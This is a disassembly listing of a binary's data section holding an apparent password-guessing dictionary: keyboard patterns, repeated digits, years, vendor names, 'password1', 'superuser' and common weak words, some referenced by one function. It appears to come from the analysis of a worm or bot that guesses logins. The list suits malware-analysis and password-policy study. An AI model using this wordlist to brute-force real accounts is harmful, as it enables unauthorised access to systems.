.nsp0:0042E60Co align 10h aUuu db 'uuu',0 ; DATA XREF: .nsp0:0042E608o aUu db 'uu',0 ; DATA XREF: .nsp0:0042E604o align 4 aU: ; DATA XREF: .nsp0:0042E600o unicode 0, <u>,0 aPppppp db 'pppppp',0 ; DATA XREF: .nsp0:0042E5FCo align 4 aPpppp db 'ppppp',0 ; DATA XREF: .nsp0:0042E5F8o align 4 aPppp db 'pppp',0 ; DATA XREF: .nsp0:0042E5F4o align 4 aPpp db 'ppp',0 ; DATA XREF: .nsp0:0042E5F0o aPp db 'pp',0 ; DATA XREF: .nsp0:0042E5ECo align 4 aP: ; DATA XREF: .nsp0:0042E5E8o unicode 0, <p>,0 aOooooo db 'oooooo',0 ; DATA XREF: .nsp0:0042E5E4o align 4 aOoooo db 'ooooo',0 ; DATA XREF: .nsp0:0042E5E0o align 10h aOooo db 'oooo',0 ; DATA XREF: .nsp0:0042E5DCo align 4 aOoo db 'ooo',0 ; DATA XREF: .nsp0:0042E5D8o aOo db 'oo',0 ; DATA XREF: .nsp0:0042E5D4o align 10h aO: ; DATA XREF: .nsp0:0042E5D0o unicode 0, <o>,0 aNnnnnn db 'nnnnnn',0 ; DATA XREF: .nsp0:0042E5CCo align 4 aNnnnn db 'nnnnn',0 ; DATA XREF: .nsp0:0042E5C8o align 4 aNnnn db 'nnnn',0 ; DATA XREF: .nsp0:0042E5C4o align 4 aNnn db 'nnn',0 ; DATA XREF: .nsp0:0042E5C0o aNn db 'nn',0 ; DATA XREF: .nsp0:0042E5BCo align 4 aN: ; DATA XREF: .nsp0:0042E5B8o unicode 0, <n>,0 aMmmmmm db 'mmmmmm',0 ; DATA XREF: .nsp0:0042E5B4o align 10h aMmmmm db 'mmmmm',0 ; DATA XREF: .nsp0:0042E5B0o align 4 aMmmm db 'mmmm',0 ; DATA XREF: .nsp0:0042E5ACo align 10h aMmm db 'mmm',0 ; DATA XREF: .nsp0:0042E5A8o aMm db 'mm',0 ; DATA XREF: .nsp0:0042E5A4o align 4 aM: ; DATA XREF: .nsp0:0042E5A0o unicode 0, <m>,0 aLlllll db 'llllll',0 ; DATA XREF: .nsp0:0042E59Co align 4 aLllll db 'lllll',0 ; DATA XREF: .nsp0:0042E598o align 4 aLlll db 'llll',0 ; DATA XREF: .nsp0:0042E594o align 4 aLll db 'lll',0 ; DATA XREF: .nsp0:0042E590o aLl db 'll',0 ; DATA XREF: .nsp0:0042E58Co align 4 asc_42EA4C: ; DATA XREF: .nsp0:0042E588o unicode 0, <l>,0 aKkkkkk db 'kkkkkk',0 ; DATA XREF: .nsp0:0042E584o align 4 aKkkkk db 'kkkkk',0 ; DATA XREF: .nsp0:0042E580o align 10h aKkkk db 'kkkk',0 ; DATA XREF: .nsp0:0042E57Co align 4 aKkk db 'kkk',0 ; DATA XREF: .nsp0:0042E578o aKk db 'kk',0 ; DATA XREF: .nsp0:0042E574o align 10h aK: ; DATA XREF: .nsp0:0042E570o unicode 0, <k>,0 aJjjjjj db 'jjjjjj',0 ; DATA XREF: .nsp0:0042E56Co align 4 aJjjjj db 'jjjjj',0 ; DATA XREF: .nsp0:0042E568o align 4 aJjjj db 'jjjj',0 ; DATA XREF: .nsp0:0042E564o align 4 aJjj db 'jjj',0 ; DATA XREF: .nsp0:0042E560o aJj db 'jj',0 ; DATA XREF: .nsp0:0042E55Co align 4 aJ: unicode 0, <j>,0 aIiiiii db 'iiiiii',0 align 10h aIiiii db 'iiiii',0 align 4 aIiii db 'iiii',0 align 10h aIii db 'iii',0 ; DATA XREF: .nsp0:0042E548o aIi db 'ii',0 align 4 aI_0: unicode 0, <i>,0 aHhhhhh db 'hhhhhh',0 align 4 aHhhhh db 'hhhhh',0 align 4 aHhhh db 'hhhh',0 ; DATA XREF: .nsp0:0042E534o align 4 aHhh db 'hhh',0 aHh db 'hh',0 align 4 unicode 0, <h>,0 aGggggg db 'gggggg',0 ; DATA XREF: .nsp0:0042E524o align 4 aGgggg db 'ggggg',0 align 10h aGggg db 'gggg',0 align 4 aGgg db 'ggg',0 aGg db 'gg',0 align 10h aG: unicode 0, <g>,0 aEeeeee db 'eeeeee',0 ; DATA XREF: .nsp0:0042E50Co align 4 aEeeee db 'eeeee',0 align 4 aEeee db 'eeee',0 ; DATA XREF: .nsp0:0042E504o align 4 aEee db 'eee',0 ; DATA XREF: .nsp0:0042E500o aEe db 'ee',0 align 4 aE: unicode 0, <e>,0 aFffff db 'fffff',0 align 10h aFfff db 'ffff',0 align 4 aFff db 'fff',0 aFf db 'ff',0 align 10h aF: unicode 0, <f>,0 aDdddd db 'ddddd',0 ; DATA XREF: .nsp0:0042E4E0o align 4 aDddd db 'dddd',0 ; DATA XREF: .nsp0:0042E4DCo align 4 aDdd db 'ddd',0 aDd_2 db 'dd',0 ; DATA XREF: .nsp0:0042E4D4o align 4 aD: unicode 0, <d>,0 aCcccccccc db 'ccccccccc',0 align 4 aCccccccc db 'cccccccc',0 ; DATA XREF: .nsp0:0042E4C8o align 4 aCcccccc db 'ccccccc',0 aCccccc db 'cccccc',0 align 4 aCcccc db 'ccccc',0 align 10h aCccc_0 db 'cccc',0 align 4 aCcc db 'ccc',0 aCc db 'cc',0 align 10h aC_1: unicode 0, <c>,0 aBbbbbbbbb db 'bbbbbbbbb',0 align 10h aBbbbbbbb db 'bbbbbbbb',0 align 4 aBbbbbbb db 'bbbbbbb',0 aBbbbbb db 'bbbbbb',0 ; DATA XREF: .nsp0:0042E49Co align 4 aBbbbb db 'bbbbb',0 ; DATA XREF: .nsp0:0042E498o align 4 aBbbb db 'bbbb',0 align 4 aBbb db 'bbb',0 aBb db 'bb',0 ; DATA XREF: .nsp0:0042E48Co align 4 aB_0: ; DATA XREF: .nsp0:0042E488o unicode 0, <b>,0 aRfv db 'rfv',0 ; DATA XREF: .nsp0:0042E484o aEdc db 'edc',0 ; DATA XREF: .nsp0:0042E480o aWsx db 'wsx',0 ; DATA XREF: .nsp0:0042E47Co aQaz db 'qaz',0 ; DATA XREF: .nsp0:0042E478o aAsdfghjkl db 'asdfghjkl',0 align 4 aAsdfghjk db 'asdfghjk',0 align 10h aAsdfghj db 'asdfghj',0 aAsdfgh db 'asdfgh',0 ; DATA XREF: .nsp0:0042E468o align 10h aAsdfg db 'asdfg',0 ; DATA XREF: .nsp0:0042E464o align 4 aAs db 'as',0 ; DATA XREF: .nsp0:0042E458o align 4 aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: .nsp0:0042E454o aZxcvbn db 'zxcvbn',0 ; DATA XREF: .nsp0:0042E450o align 4 aZxcvb db 'zxcvb',0 ; DATA XREF: .nsp0:0042E44Co align 4 aZxc db 'zxc',0 ; DATA XREF: .nsp0:0042E444o aZx db 'zx',0 ; DATA XREF: .nsp0:0042E440o align 4 aZ: ; DATA XREF: .nsp0:0042E43Co ; .nsp0:0042E6A8o unicode 0, <z>,0 aKonyang db 'konyang',0 ; DATA XREF: .nsp0:0042E438o aToyota_0 db 'TOYOTA',0 ; DATA XREF: .nsp0:0042E400o align 10h aKor db 'KOR',0 ; DATA XREF: .nsp0:0042E3FCo aKor_0 db 'kor',0 ; DATA XREF: .nsp0:0042E3F4o aChi db 'chi',0 ; DATA XREF: .nsp0:0042E3F0o aChi_0 db 'CHI',0 ; DATA XREF: .nsp0:0042E3ECo aSystem db 'system',0 ; DATA XREF: .nsp0:0042E3E4o ; .nsp0:0042E728o align 4 aServices db 'services',0 ; DATA XREF: .nsp0:0042E3E0o align 4 aServers db 'servers',0 ; DATA XREF: .nsp0:0042E3DCo aServer_0 db 'server',0 ; DATA XREF: .nsp0:0042E3D4o align 4 aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: .nsp0:0042E3CCo align 10h aQwertyuio db 'qwertyuio',0 ; DATA XREF: .nsp0:0042E3C8o align 4 aQwertyui db 'qwertyui',0 ; DATA XREF: .nsp0:0042E3C4o align 4 aQwertyu db 'qwertyu',0 ; DATA XREF: .nsp0:0042E3C0o aQwe db 'qwe',0 ; DATA XREF: .nsp0:0042E3B0o aQw db 'qw',0 ; DATA XREF: .nsp0:0042E3ACo align 4 aPassword1 db 'password1',0 ; DATA XREF: .nsp0:0042E3A8o align 4 aPassword_0 db 'Password',0 ; DATA XREF: .nsp0:0042E3A4o align 10h aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: .nsp0:0042E3A0o align 4 aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: .nsp0:0042E39Co align 4 aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: .nsp0:0042E398o aAaaaaa db 'aaaaaa',0 ; DATA XREF: .nsp0:0042E394o align 4 aAaaaa db 'aaaaa',0 ; DATA XREF: .nsp0:0042E390o align 10h aAaaa db 'aaaa',0 ; DATA XREF: .nsp0:0042E38Co align 4 aAa db 'aa',0 ; DATA XREF: .nsp0:0042E384o align 4 aNokia db 'NOKIA',0 ; DATA XREF: .nsp0:0042E378o align 4 aSex db 'SEX',0 ; DATA XREF: .nsp0:0042E374o aCreative db 'CREATIVE',0 ; DATA XREF: .nsp0:0042E370o align 4 aDisc_0 db 'DISC',0 ; DATA XREF: .nsp0:0042E36Co align 4 aMicrosoft db 'MICROSOFT',0 ; DATA XREF: .nsp0:0042E368o align 4 aMaster_0 db 'MASTER',0 ; DATA XREF: .nsp0:0042E364o align 10h aSony_0 db 'SONY',0 ; DATA XREF: .nsp0:0042E360o align 4 aSamsung db 'samsung',0 ; DATA XREF: .nsp0:0042E35Co aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: .nsp0:0042E358o aSony db 'sony',0 ; DATA XREF: .nsp0:0042E354o align 10h a7654321 db '7654321',0 ; DATA XREF: .nsp0:0042E350o a4321 db '4321',0 ; DATA XREF: .nsp0:0042E344o align 10h a321 db '321',0 ; DATA XREF: .nsp0:0042E340o a2006 db '2006',0 ; DATA XREF: .nsp0:0042E338o align 4 a2005 db '2005',0 ; DATA XREF: .nsp0:0042E334o align 4 a2004 db '2004',0 ; DATA XREF: .nsp0:0042E330o align 4 a2001 db '2001',0 ; DATA XREF: .nsp0:0042E324o align 4 a2000 db '2000',0 ; DATA XREF: .nsp0:0042E320o align 4 a1999 db '1999',0 ; DATA XREF: .nsp0:0042E31Co align 4 a1998 db '1998',0 ; DATA XREF: .nsp0:0042E318o align 4 a1997 db '1997',0 ; DATA XREF: .nsp0:0042E314o align 4 a1996 db '1996',0 ; DATA XREF: .nsp0:0042E310o align 4 a1995 db '1995',0 ; DATA XREF: .nsp0:0042E30Co align 4 a1994 db '1994',0 ; DATA XREF: .nsp0:0042E308o align 4 a1993 db '1993',0 ; DATA XREF: .nsp0:0042E304o align 4 a1992 db '1992',0 ; DATA XREF: .nsp0:0042E300o align 4 a1991 db '1991',0 ; DATA XREF: .nsp0:0042E2FCo align 4 a1990 db '1990',0 ; DATA XREF: .nsp0:0042E2F8o align 4 a1989 db '1989',0 ; DATA XREF: .nsp0:0042E2F4o align 4 a1988 db '1988',0 ; DATA XREF: .nsp0:0042E2F0o align 4 a1987 db '1987',0 ; DATA XREF: .nsp0:0042E2ECo align 4 a1986 db '1986',0 ; DATA XREF: .nsp0:0042E2E8o align 4 a1985 db '1985',0 ; DATA XREF: .nsp0:0042E2E4o align 4 a1984 db '1984',0 ; DATA XREF: .nsp0:0042E2E0o align 4 a1983 db '1983',0 ; DATA XREF: .nsp0:0042E2DCo align 4 a1982 db '1982',0 ; DATA XREF: .nsp0:0042E2D8o align 4 a1981 db '1981',0 ; DATA XREF: .nsp0:0042E2D4o align 4 a1980 db '1980',0 ; DATA XREF: .nsp0:0042E2D0o align 4 a1979 db '1979',0 ; DATA XREF: .nsp0:0042E2CCo align 4 a1978 db '1978',0 ; DATA XREF: .nsp0:0042E2C8o align 4 a1977 db '1977',0 ; DATA XREF: .nsp0:0042E2C4o align 4 a1976 db '1976',0 ; DATA XREF: .nsp0:0042E2C0o align 4 a1975 db '1975',0 ; DATA XREF: .nsp0:0042E2BCo align 4 a1974 db '1974',0 ; DATA XREF: .nsp0:0042E2B8o align 4 a1973 db '1973',0 ; DATA XREF: .nsp0:0042E2B4o align 4 a1972 db '1972',0 ; DATA XREF: .nsp0:0042E2B0o align 4 a1971 db '1971',0 ; DATA XREF: .nsp0:0042E2ACo align 4 a1970 db '1970',0 ; DATA XREF: .nsp0:0042E2A8o align 4 a1969 db '1969',0 ; DATA XREF: .nsp0:0042E2A4o align 4 a1968 db '1968',0 ; DATA XREF: .nsp0:0042E2A0o align 4 a1967 db '1967',0 ; DATA XREF: .nsp0:0042E29Co align 4 a1966 db '1966',0 ; DATA XREF: .nsp0:0042E298o align 4 a1965 db '1965',0 ; DATA XREF: .nsp0:0042E294o align 4 a1964 db '1964',0 ; DATA XREF: .nsp0:0042E290o align 4 a1963 db '1963',0 ; DATA XREF: .nsp0:0042E28Co align 4 a1962 db '1962',0 ; DATA XREF: .nsp0:0042E288o align 4 a1961 db '1961',0 ; DATA XREF: .nsp0:0042E284o align 4 a1960 db '1960',0 ; DATA XREF: .nsp0:0042E280o align 4 a1959 db '1959',0 ; DATA XREF: .nsp0:0042E27Co align 4 a1958 db '1958',0 ; DATA XREF: .nsp0:0042E278o align 4 a1957 db '1957',0 ; DATA XREF: .nsp0:0042E274o align 4 a1956 db '1956',0 ; DATA XREF: .nsp0:0042E270o align 4 a1955 db '1955',0 ; DATA XREF: .nsp0:0042E26Co align 4 a1954 db '1954',0 ; DATA XREF: .nsp0:0042E268o align 4 a1953 db '1953',0 ; DATA XREF: .nsp0:0042E264o align 4 a1952 db '1952',0 ; DATA XREF: .nsp0:0042E260o align 4 a1234qwe db '1234qwe',0 ; DATA XREF: .nsp0:0042E25Co a1234asd db '1234asd',0 ; DATA XREF: .nsp0:0042E258o a1234abc db '1234abc',0 ; DATA XREF: .nsp0:0042E254o a123qwer db '123qwer',0 ; DATA XREF: .nsp0:0042E240o a12qwe db '12qwe',0 ; DATA XREF: .nsp0:0042E23Co align 4 a12asd db '12asd',0 ; DATA XREF: .nsp0:0042E238o align 4 a12abc db '12abc',0 ; DATA XREF: .nsp0:0042E234o align 4 a12qwer db '12qwer',0 ; DATA XREF: .nsp0:0042E230o align 4 a1qwe db '1qwe',0 ; DATA XREF: .nsp0:0042E22Co align 4 a1asd db '1asd',0 ; DATA XREF: .nsp0:0042E228o align 4 a1abc db '1abc',0 ; DATA XREF: .nsp0:0042E224o align 4 a1qwer db '1qwer',0 ; DATA XREF: .nsp0:0042E220o align 4 a123467890 db '123467890',0 ; DATA XREF: .nsp0:0042E21Co align 4 a12346789 db '12346789',0 ; DATA XREF: .nsp0:0042E218o align 4 a1234678 db '1234678',0 ; DATA XREF: .nsp0:0042E214o a123467 db '123467',0 ; DATA XREF: .nsp0:0042E210o align 4 a12346 db '12346',0 ; DATA XREF: .nsp0:0042E20Co align 4 a121 db '121',0 ; DATA XREF: .nsp0:0042E1E4o a1020 db '1020',0 ; DATA XREF: .nsp0:0042E1DCo align 4 a0258 db '0258',0 ; DATA XREF: .nsp0:0042E1D8o align 10h a8520 db '8520',0 ; DATA XREF: .nsp0:0042E1D4o align 4 a987 db '987',0 ; DATA XREF: .nsp0:0042E1D0o a789 db '789',0 ; DATA XREF: .nsp0:0042E1CCo a654 db '654',0 ; DATA XREF: .nsp0:0042E1C8o a456 db '456',0 ; DATA XREF: .nsp0:0042E1C4o a1122 db '1122',0 ; DATA XREF: .nsp0:0042E1C0o align 10h a0147 db '0147',0 ; DATA XREF: .nsp0:0042E1BCo align 4 a7410 db '7410',0 ; DATA XREF: .nsp0:0042E1B8o align 10h a9999999999 db '9999999999',0 ; DATA XREF: .nsp0:0042E1B0o align 4 a999999999 db '999999999',0 ; DATA XREF: .nsp0:0042E1ACo align 4 a99999999 db '99999999',0 ; DATA XREF: .nsp0:0042E1A8o align 4 a9999999 db '9999999',0 ; DATA XREF: .nsp0:0042E1A4o a999999 db '999999',0 ; DATA XREF: .nsp0:0042E1A0o align 4 a99999 db '99999',0 ; DATA XREF: .nsp0:0042E19Co align 4 a9999 db '9999',0 ; DATA XREF: .nsp0:0042E198o align 4 a999 db '999',0 ; DATA XREF: .nsp0:0042E194o a99 db '99',0 ; DATA XREF: .nsp0:0042E190o align 4 a9: ; DATA XREF: .nsp0:0042E18Co unicode 0, <9>,0 a8888888888 db '8888888888',0 ; DATA XREF: .nsp0:0042E188o align 4 a888888888 db '888888888',0 ; DATA XREF: .nsp0:0042E184o align 4 a8888888 db '8888888',0 ; DATA XREF: .nsp0:0042E17Co a888888 db '888888',0 ; DATA XREF: .nsp0:0042E178o align 4 a88888 db '88888',0 ; DATA XREF: .nsp0:0042E174o align 10h a8888 db '8888',0 ; DATA XREF: .nsp0:0042E170o align 4 a888 db '888',0 ; DATA XREF: .nsp0:0042E16Co a88 db '88',0 ; DATA XREF: .nsp0:0042E168o align 10h a8: ; DATA XREF: .nsp0:0042E164o unicode 0, <8>,0 a7777777777 db '7777777777',0 ; DATA XREF: .nsp0:0042E160o align 10h a777777777 db '777777777',0 ; DATA XREF: .nsp0:0042E15Co align 4 a77777777 db '77777777',0 ; DATA XREF: .nsp0:0042E158o align 4 a7777777 db '7777777',0 ; DATA XREF: .nsp0:0042E154o a777777 db '777777',0 ; DATA XREF: .nsp0:0042E150o align 4 a77777 db '77777',0 ; DATA XREF: .nsp0:0042E14Co align 10h a7777 db '7777',0 ; DATA XREF: .nsp0:0042E148o align 4 a777 db '777',0 ; DATA XREF: .nsp0:0042E144o a77 db '77',0 ; DATA XREF: .nsp0:0042E140o align 10h a7: ; DATA XREF: .nsp0:0042E13Co unicode 0, <7>,0 a6666666666 db '6666666666',0 ; DATA XREF: .nsp0:0042E138o align 10h a666666666 db '666666666',0 ; DATA XREF: .nsp0:0042E134o align 4 a66666666 db '66666666',0 ; DATA XREF: .nsp0:0042E130o align 4 a6666666 db '6666666',0 ; DATA XREF: .nsp0:0042E12Co a666666 db '666666',0 ; DATA XREF: .nsp0:0042E128o align 4 a66666 db '66666',0 ; DATA XREF: .nsp0:0042E124o align 10h a6666 db '6666',0 ; DATA XREF: .nsp0:0042E120o align 4 a666 db '666',0 ; DATA XREF: .nsp0:0042E11Co a66 db '66',0 ; DATA XREF: .nsp0:0042E118o align 10h a6: ; DATA XREF: .nsp0:0042E114o unicode 0, <6>,0 a5555555555 db '5555555555',0 ; DATA XREF: .nsp0:0042E110o align 10h a555555555 db '555555555',0 ; DATA XREF: .nsp0:0042E10Co align 4 a55555555 db '55555555',0 ; DATA XREF: .nsp0:0042E108o align 4 a5555555 db '5555555',0 ; DATA XREF: .nsp0:0042E104o a555555 db '555555',0 ; DATA XREF: .nsp0:0042E100o align 4 a55555 db '55555',0 ; DATA XREF: .nsp0:0042E0FCo align 10h a5555 db '5555',0 ; DATA XREF: .nsp0:0042E0F8o align 4 a555 db '555',0 ; DATA XREF: .nsp0:0042E0F4o a55 db '55',0 ; DATA XREF: .nsp0:0042E0F0o align 10h a5: ; DATA XREF: .nsp0:0042E0ECo unicode 0, <5>,0 a4444444444 db '4444444444',0 ; DATA XREF: .nsp0:0042E0E8o align 10h a444444444 db '444444444',0 ; DATA XREF: .nsp0:0042E0E4o align 4 a44444444 db '44444444',0 ; DATA XREF: .nsp0:0042E0E0o align 4 a4444444 db '4444444',0 ; DATA XREF: .nsp0:0042E0DCo a444444 db '444444',0 ; DATA XREF: .nsp0:0042E0D8o align 4 a44444 db '44444',0 ; DATA XREF: .nsp0:0042E0D4o align 10h a4444 db '4444',0 ; DATA XREF: .nsp0:0042E0D0o align 4 a444 db '444',0 ; DATA XREF: .nsp0:0042E0CCo a44 db '44',0 ; DATA XREF: .nsp0:0042E0C8o align 10h a4: ; DATA XREF: .nsp0:0042E0C4o unicode 0, <4>,0 a3333333333 db '3333333333',0 ; DATA XREF: .nsp0:0042E0C0o align 10h a333333333 db '333333333',0 ; DATA XREF: .nsp0:0042E0BCo align 4 a33333333 db '33333333',0 ; DATA XREF: .nsp0:0042E0B8o align 4 a3333333 db '3333333',0 ; DATA XREF: .nsp0:0042E0B4o a333333 db '333333',0 ; DATA XREF: .nsp0:0042E0B0o align 4 a33333 db '33333',0 ; DATA XREF: .nsp0:0042E0ACo align 10h a3333 db '3333',0 ; DATA XREF: .nsp0:0042E0A8o align 4 a333 db '333',0 ; DATA XREF: .nsp0:0042E0A4o a33 db '33',0 ; DATA XREF: .nsp0:0042E0A0o align 10h a3: ; DATA XREF: .nsp0:0042E09Co unicode 0, <3>,0 a2222222222 db '2222222222',0 ; DATA XREF: .nsp0:0042E098o align 10h a222222222 db '222222222',0 ; DATA XREF: .nsp0:0042E094o align 4 a22222222 db '22222222',0 ; DATA XREF: .nsp0:0042E090o align 4 a2222222 db '2222222',0 ; DATA XREF: .nsp0:0042E08Co a222222 db '222222',0 ; DATA XREF: .nsp0:0042E088o align 4 a22222 db '22222',0 ; DATA XREF: .nsp0:0042E084o align 10h a2222 db '2222',0 ; DATA XREF: .nsp0:0042E080o align 4 a222 db '222',0 ; DATA XREF: .nsp0:0042E07Co a22 db '22',0 ; DATA XREF: .nsp0:0042E078o align 10h a2: ; DATA XREF: .nsp0:0042E074o unicode 0, <2>,0 a1111111111 db '1111111111',0 ; DATA XREF: .nsp0:0042E070o align 10h a111111111 db '111111111',0 ; DATA XREF: .nsp0:0042E06Co align 4 a1111111 db '1111111',0 ; DATA XREF: .nsp0:0042E064o a11111 db '11111',0 ; DATA XREF: .nsp0:0042E05Co align 4 a1111 db '1111',0 ; DATA XREF: .nsp0:0042E058o align 4 a11 db '11',0 ; DATA XREF: .nsp0:0042E050o align 4 a010 db '010',0 ; DATA XREF: .nsp0:0042E040o a009 db '009',0 ; DATA XREF: .nsp0:0042E03Co a008 db '008',0 ; DATA XREF: .nsp0:0042E038o a006 db '006',0 ; DATA XREF: .nsp0:0042E030o a005 db '005',0 ; DATA XREF: sub_40CE55+215o ; .nsp0:0042E02Co a004 db '004',0 ; DATA XREF: .nsp0:0042E028o a003 db '003',0 ; DATA XREF: .nsp0:0042E024o a002 db '002',0 ; DATA XREF: .nsp0:0042E020o a001 db '001',0 ; DATA XREF: sub_40CE55+200o ; .nsp0:0042E01Co asc_42F2CC db '*********',0 ; DATA XREF: .nsp0:0042E018o align 4 asc_42F2D8 db '********',0 ; DATA XREF: .nsp0:0042E014o align 4 asc_42F2E4 db '*******',0 ; DATA XREF: .nsp0:0042E010o asc_42F2EC db '******',0 ; DATA XREF: .nsp0:0042E00Co align 4 asc_42F2F4 db '*****',0 ; DATA XREF: .nsp0:0042E008o align 4 asc_42F2FC db '****',0 ; DATA XREF: .nsp0:0042E004o align 4 asc_42F304 db '***',0 ; DATA XREF: .nsp0:0042E000o asc_42F308 db '**',0 ; DATA XREF: .nsp0:0042DFFCo align 4 a0000000000 db '0000000000',0 ; DATA XREF: .nsp0:0042DFF4o align 4 a000000000 db '000000000',0 ; DATA XREF: .nsp0:0042DFF0o align 4 a@ db '@!',0 ; DATA XREF: .nsp0:0042DFD0o align 4 a@_0 db '#@!',0 ; DATA XREF: .nsp0:0042DFCCo a@_1 db '$#@!',0 ; DATA XREF: .nsp0:0042DFC8o align 4 a@_2 db '%$#@!',0 ; DATA XREF: .nsp0:0042DFC4o align 4 a@_3 db '^%$#@!',0 ; DATA XREF: .nsp0:0042DFC0o align 4 a@_4 db '&^%$#@!',0 ; DATA XREF: .nsp0:0042DFBCo a@_5 db '*&^%$#@!',0 ; DATA XREF: .nsp0:0042DFB8o align 4 asc_42F358 db '$$$',0 ; DATA XREF: .nsp0:0042DFB4o asc_42F35C db '$$',0 ; DATA XREF: .nsp0:0042DFB0o align 10h asc_42F360: ; DATA XREF: .nsp0:0042DFACo unicode 0, <$>,0 a456_0 db '456+',0 ; DATA XREF: .nsp0:0042DFA8o align 4 a789_0 db '789+',0 ; DATA XREF: .nsp0:0042DFA4o align 4 a0 db '=-0',0 ; DATA XREF: .nsp0:0042DFA0o asc_42F378 db '--++',0 ; DATA XREF: .nsp0:0042DF9Co align 10h asc_42F380 db '-+',0 ; DATA XREF: .nsp0:0042DF98o align 4 asc_42F384 db '----',0 ; DATA XREF: .nsp0:0042DF94o align 4 asc_42F38C db '--',0 ; DATA XREF: .nsp0:0042DF8Co ; .nsp0:0042DF90o align 10h asc_42F390: ; DATA XREF: .nsp0:0042DF88o unicode 0, <->,0 asc_42F394 db '++++',0 ; DATA XREF: .nsp0:0042DF84o align 4 asc_42F39C db '+++',0 ; DATA XREF: .nsp0:0042DF80o asc_42F3A0 db '++',0 ; DATA XREF: .nsp0:0042DF7Co align 4 asc_42F3A4: ; DATA XREF: .nsp0:0042DF78o unicode 0, <+>,0 a@@ db '@@',0 ; DATA XREF: .nsp0:0042DF74o align 4 a@_6: ; DATA XREF: sub_40CE55+23Ao ; .nsp0:0042DF70o unicode 0, <@>,0 off_42F3B0 dd offset loc_40211D+4 ; DATA XREF: .nsp0:0042DF6Co dword_42F3B4 dd 2121h dword_42F3B8 dd 24234021h, 2A265E25h, 0dword_42F3C4 dd 24234021h, 265E25hdword_42F3CC dd 24234021h, 5E25hdword_42F3D4 dd 24234021h, 25hdword_42F3DC dd 234021h dword_42F3E0 dd 4021h dword_42F3E4 dd 21h ; sub_40CE55+5B5Fo ... dword_42F3E8 dd 25h aZimmerman db 'zimmerman',0 ; DATA XREF: .nsp0:0042DF40o align 4 aZap db 'zap',0 ; DATA XREF: .nsp0:0042DF3Co aYellowstone db 'yellowstone',0 ; DATA XREF: .nsp0:0042DF38o aXyz db 'xyz',0 ; DATA XREF: .nsp0:0042DF34o ; .nsp0:0042E42Co aWisconsin db 'wisconsin',0 ; DATA XREF: .nsp0:0042DF30o align 4 aWilliamsburg db 'williamsburg',0 ; DATA XREF: .nsp0:0042DF2Co align 4 aWholesale db 'wholesale',0 ; DATA XREF: .nsp0:0042DF28o align 4 aTty db 'tty',0 ; DATA XREF: .nsp0:0042DF24o aTopography db 'topography',0 ; DATA XREF: .nsp0:0042DF20o align 4 aTemptation db 'temptation',0 ; DATA XREF: .nsp0:0042DF1Co align 10h aTelephone db 'telephone',0 ; DATA XREF: .nsp0:0042DF18o align 4 aTangerine db 'tangerine',0 ; DATA XREF: .nsp0:0042DF14o align 4 aSys db 'sys',0 ; DATA XREF: .nsp0:0042DF10o aSupported db 'supported',0 ; DATA XREF: .nsp0:0042DF0Co align 4 aSuperuser db 'superuser',0 ; DATA XREF: .nsp0:0042DF08o align 4 aSuperstage db 'superstage',0 ; DATA XREF: .nsp0:0042DF04o align 10h aSun db 'sun',0 ; DATA XREF: .nsp0:0042DF00o aStuttgart db 'stuttgart',0 ; DATA XREF: .nsp0:0042DEFCo align 10h aStratford db 'stratford',0 ; DATA XREF: .nsp0:0042DEF8o align 4 aStephanie db 'stephanie',0 ; DATA XREF: .nsp0:0042DEF4o align 4 aSignature db 'signature',0 ; DATA XREF: .nsp0:0042DEF0o align 4 aSheffield db 'sheffield',0 ; DATA XREF: .nsp0:0042DEECo align 10h aSal db 'sal',0 ; DATA XREF: .nsp0:0042DEE8o aRochester db 'rochester',0 ; DATA XREF: .nsp0:0042DEE4o align 10h aRje db 'rje',0 ; DATA XREF: .nsp0:0042DEE0o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .nsp0:0042DEDCo align 4 aPub db 'pub',0 aProfessor db 'professor',0 align 4 aPrinceton db 'princeton',0 align 10h aPondering db 'pondering',0 align 4 aPolynomial db 'polynomial',0 align 4 aPersimmon db 'persimmon',0 align 4 aPercolate db 'percolate',0 align 10h aPam db 'pam',0 aPad db 'pad',0 aOceanography db 'oceanography',0 align 4 aNutrition db 'nutrition',0 align 4 aNew db 'new',0 aNet db 'net',0 aMit db 'mit',0 aMgr db 'mgr',0 aMacintosh db 'macintosh',0 align 10h aLiz db 'liz',0 aLee db 'lee',0 aLamination db 'lamination',0 align 4 aKim db 'kim',0 aJoy db 'joy',0 aJen db 'jen',0 aInnocuous db 'innocuous',0 align 4 aImbroglio db 'imbroglio',0 align 4 aIbm db 'ibm',0 aHappening db 'happening',0 align 4 aHal db 'hal',0 aGnu db 'gnu',0 aFun db 'fun',0 aForesight db 'foresight',0 align 10h aFoolproof db 'foolproof',0 align 4 aExtension db 'extension',0 align 4 aEstablish db 'establish',0 align 4 aEnterprise db 'enterprise',0 align 10h aElizabeth db 'elizabeth',0 align 4 aEiderdown db 'eiderdown',0 align 4 aEdinburgh db 'edinburgh',0 align 4 aDos db 'dos',0 aDog db 'dog',0 aDiscovery db 'discovery',0 align 4 aDesperate db 'desperate',0 align 4 aDeb db 'deb',0 aCornelius db 'cornelius',0 align 4 aCommrades db 'commrades',0 align 10h aChristine db 'christine',0 align 4 aChristina db 'christina',0 align 4 aChemistry db 'chemistry',0 align 4 aCatherine db 'catherine',0 align 10h aCat db 'cat',0 aCampanile db 'campanile',0 align 10h aCad db 'cad',0 aBsd db 'bsd',0 aBob db 'bob',0 aBicameral db 'bicameral',0 align 4 aBeethoven db 'beethoven',0 align 4 aAtmosphere db 'atmosphere',0 align 10h aAsm db 'asm',0 aAsd db 'asd',0 ; DATA XREF: .nsp0:0042E45Co aAnthropogenic db 'anthropogenic',0 align 4 aAnn db 'ann',0 aAndromache db 'andromache',0 align 4 aAmy db 'amy',0 aAmorphous db 'amorphous',0 ; DATA XREF: .nsp0:0042DDD9o align 4 aAma db 'ama',0 aAlf db 'alf',0 aAlbatross db 'albatross',0 align 4 aAda db 'ada',0 ; DATA XREF: .nsp0:0042DDC9o aH4x0ring db 'h4x0ring',0 align 4 aH4x0r1ng db 'h4x0r1ng',0 align 4 aH4x1ng db 'h4x1ng',0 align 10h aHaxing db 'haxing',0 align 4 aHax db 'hax',0 aWh0re db 'wh0re',0 align 4 aHo db 'ho',0 align 4 